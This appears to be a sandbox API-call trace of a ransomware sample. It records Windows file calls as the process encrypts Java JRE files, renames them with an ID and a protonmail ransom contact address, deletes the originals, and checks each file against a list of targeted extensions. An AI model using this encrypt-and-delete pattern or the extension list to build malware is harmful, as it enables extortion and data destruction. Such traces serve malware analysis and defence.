	[0163.358] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0163.377] SetEndOfFile (hFile=0x440) returned 1
	[0163.377] CloseHandle (hObject=0x440) returned 1
	[0163.378] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.378] SetEndOfFile (hFile=0x434) returned 1
	[0163.381] CloseHandle (hObject=0x434) returned 1
	[0163.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.382] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1
	[0163.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.383] lstrlenW (lpString=".doc") returned 4
	[0163.383] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.383] lstrlenW (lpString=".docx") returned 5
	[0163.383] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.383] lstrlenW (lpString=".pdf") returned 4
	[0163.383] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.383] lstrlenW (lpString=".xls") returned 4
	[0163.383] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString=".xlsx") returned 5
	[0163.384] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.384] lstrlenW (lpString=".ppt") returned 4
	[0163.384] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.384] lstrlenW (lpString=".zip") returned 4
	[0163.384] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString=".rar") returned 4
	[0163.384] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString=".bz2") returned 4
	[0163.384] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString=".7z") returned 3
	[0163.384] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.384] lstrlenW (lpString=".dbf") returned 4
	[0163.384] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.384] lstrlenW (lpString=".1cd") returned 4
	[0163.384] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.384] lstrlenW (lpString=".jpg") returned 4
	[0163.384] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.384] lstrlenW (lpString=".doc") returned 4
	[0163.384] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString=".docx") returned 5
	[0163.384] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.384] lstrlenW (lpString=".pdf") returned 4
	[0163.384] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString=".xls") returned 4
	[0163.384] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.384] lstrlenW (lpString=".xlsx") returned 5
	[0163.384] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.385] lstrlenW (lpString=".ppt") returned 4
	[0163.385] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.385] lstrlenW (lpString=".zip") returned 4
	[0163.385] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.385] lstrlenW (lpString=".rar") returned 4
	[0163.385] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.385] lstrlenW (lpString=".bz2") returned 4
	[0163.385] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.385] lstrlenW (lpString=".7z") returned 3
	[0163.385] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.385] lstrlenW (lpString=".dbf") returned 4
	[0163.385] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.385] lstrlenW (lpString=".1cd") returned 4
	[0163.385] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0163.385] lstrlenW (lpString=".jpg") returned 4
	[0163.385] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.385] lstrcmpiW (lpString1=".jfc", lpString2=".Z9") returned -1
	[0163.385] lstrlenW (lpString="profile.jfc") returned 11
	[0163.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.386] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=20065) returned 1
	[0163.386] CloseHandle (hObject=0x434) returned 1
	[0163.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20
	[0163.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.386] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.387] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0163.387] GetLastError () returned 0x0
	[0163.387] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x4e61, lpOverlapped=0x0) returned 1
	[0163.390] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x4e70, lpOverlapped=0x0) returned 1
	[0163.391] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.391] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xea, lpOverlapped=0x0) returned 1
	[0163.391] SetEndOfFile (hFile=0x440) returned 1
	[0163.391] CloseHandle (hObject=0x440) returned 1
	[0163.391] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.391] SetEndOfFile (hFile=0x434) returned 1
	[0163.396] CloseHandle (hObject=0x434) returned 1
	[0163.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.396] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.397] lstrlenW (lpString=".doc") returned 4
	[0163.397] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0163.397] lstrlenW (lpString=".docx") returned 5
	[0163.397] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0163.397] lstrlenW (lpString=".pdf") returned 4
	[0163.397] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0163.397] lstrlenW (lpString=".xls") returned 4
	[0163.397] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0163.397] lstrlenW (lpString=".xlsx") returned 5
	[0163.397] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0163.397] lstrlenW (lpString=".ppt") returned 4
	[0163.397] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.397] lstrlenW (lpString=".zip") returned 4
	[0163.397] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0163.397] lstrlenW (lpString=".rar") returned 4
	[0163.397] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0163.397] lstrlenW (lpString=".bz2") returned 4
	[0163.397] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0163.397] lstrlenW (lpString=".7z") returned 3
	[0163.397] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.397] lstrlenW (lpString=".dbf") returned 4
	[0163.397] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.397] lstrlenW (lpString=".1cd") returned 4
	[0163.397] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.397] lstrlenW (lpString=".jpg") returned 4
	[0163.398] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.398] lstrlenW (lpString=".doc") returned 4
	[0163.398] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0163.398] lstrlenW (lpString=".docx") returned 5
	[0163.398] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0163.398] lstrlenW (lpString=".pdf") returned 4
	[0163.398] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0163.398] lstrlenW (lpString=".xls") returned 4
	[0163.398] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0163.398] lstrlenW (lpString=".xlsx") returned 5
	[0163.398] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0163.398] lstrlenW (lpString=".ppt") returned 4
	[0163.398] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.398] lstrlenW (lpString=".zip") returned 4
	[0163.398] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0163.398] lstrlenW (lpString=".rar") returned 4
	[0163.398] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0163.398] lstrlenW (lpString=".bz2") returned 4
	[0163.398] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0163.398] lstrlenW (lpString=".7z") returned 3
	[0163.398] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.398] lstrlenW (lpString=".dbf") returned 4
	[0163.399] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0163.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.399] lstrlenW (lpString=".1cd") returned 4
	[0163.399] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0163.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0163.399] lstrlenW (lpString=".jpg") returned 4
	[0163.399] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0163.399] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0163.399] lstrlenW (lpString="jfr.jar") returned 7
	[0163.399] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.400] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=560581) returned 1
	[0163.400] CloseHandle (hObject=0x434) returned 1
	[0163.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20
	[0163.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.401] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.401] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0163.402] GetLastError () returned 0x0
	[0163.402] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x88dc5, lpOverlapped=0x0) returned 1
	[0163.798] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x88dd0, lpOverlapped=0x0) returned 1
	[0164.238] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.239] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0164.239] SetEndOfFile (hFile=0x440) returned 1
	[0164.239] CloseHandle (hObject=0x440) returned 1
	[0164.239] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.239] SetEndOfFile (hFile=0x434) returned 1
	[0164.620] CloseHandle (hObject=0x434) returned 1
	[0164.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.620] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1
	[0164.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.621] lstrlenW (lpString=".doc") returned 4
	[0164.621] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.621] lstrlenW (lpString=".docx") returned 5
	[0164.621] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0164.621] lstrlenW (lpString=".pdf") returned 4
	[0164.621] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.621] lstrlenW (lpString=".xls") returned 4
	[0164.621] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.621] lstrlenW (lpString=".xlsx") returned 5
	[0164.621] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0164.621] lstrlenW (lpString=".ppt") returned 4
	[0164.621] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.621] lstrlenW (lpString=".zip") returned 4
	[0164.621] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.621] lstrlenW (lpString=".rar") returned 4
	[0164.621] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.621] lstrlenW (lpString=".bz2") returned 4
	[0164.621] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.621] lstrlenW (lpString=".7z") returned 3
	[0164.621] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.621] lstrlenW (lpString=".dbf") returned 4
	[0164.621] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.621] lstrlenW (lpString=".1cd") returned 4
	[0164.621] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.621] lstrlenW (lpString=".jpg") returned 4
	[0164.621] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.622] lstrlenW (lpString=".doc") returned 4
	[0164.622] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.622] lstrlenW (lpString=".docx") returned 5
	[0164.622] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0164.622] lstrlenW (lpString=".pdf") returned 4
	[0164.622] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.622] lstrlenW (lpString=".xls") returned 4
	[0164.622] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.622] lstrlenW (lpString=".xlsx") returned 5
	[0164.622] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0164.622] lstrlenW (lpString=".ppt") returned 4
	[0164.622] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.622] lstrlenW (lpString=".zip") returned 4
	[0164.622] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.622] lstrlenW (lpString=".rar") returned 4
	[0164.622] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.622] lstrlenW (lpString=".bz2") returned 4
	[0164.622] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.622] lstrlenW (lpString=".7z") returned 3
	[0164.622] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.622] lstrlenW (lpString=".dbf") returned 4
	[0164.622] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.622] lstrlenW (lpString=".1cd") returned 4
	[0164.622] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0164.622] lstrlenW (lpString=".jpg") returned 4
	[0164.622] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.622] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0164.623] lstrlenW (lpString="resources.jar") returned 13
	[0164.623] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.623] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=3492573) returned 1
	[0164.623] CloseHandle (hObject=0x434) returned 1
	[0164.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20
	[0164.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0164.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.624] lstrlenW (lpString=".doc") returned 4
	[0164.624] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.624] lstrlenW (lpString=".docx") returned 5
	[0164.624] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0164.624] lstrlenW (lpString=".pdf") returned 4
	[0164.624] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.624] lstrlenW (lpString=".xls") returned 4
	[0164.624] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.624] lstrlenW (lpString=".xlsx") returned 5
	[0164.624] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0164.624] lstrlenW (lpString=".ppt") returned 4
	[0164.624] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.624] lstrlenW (lpString=".zip") returned 4
	[0164.624] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.624] lstrlenW (lpString=".rar") returned 4
	[0164.624] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.624] lstrlenW (lpString=".bz2") returned 4
	[0164.624] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.624] lstrlenW (lpString=".7z") returned 3
	[0164.624] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.624] lstrlenW (lpString=".dbf") returned 4
	[0164.624] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.624] lstrlenW (lpString=".1cd") returned 4
	[0164.624] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.624] lstrlenW (lpString=".jpg") returned 4
	[0164.624] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.625] lstrlenW (lpString=".doc") returned 4
	[0164.625] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.625] lstrlenW (lpString=".docx") returned 5
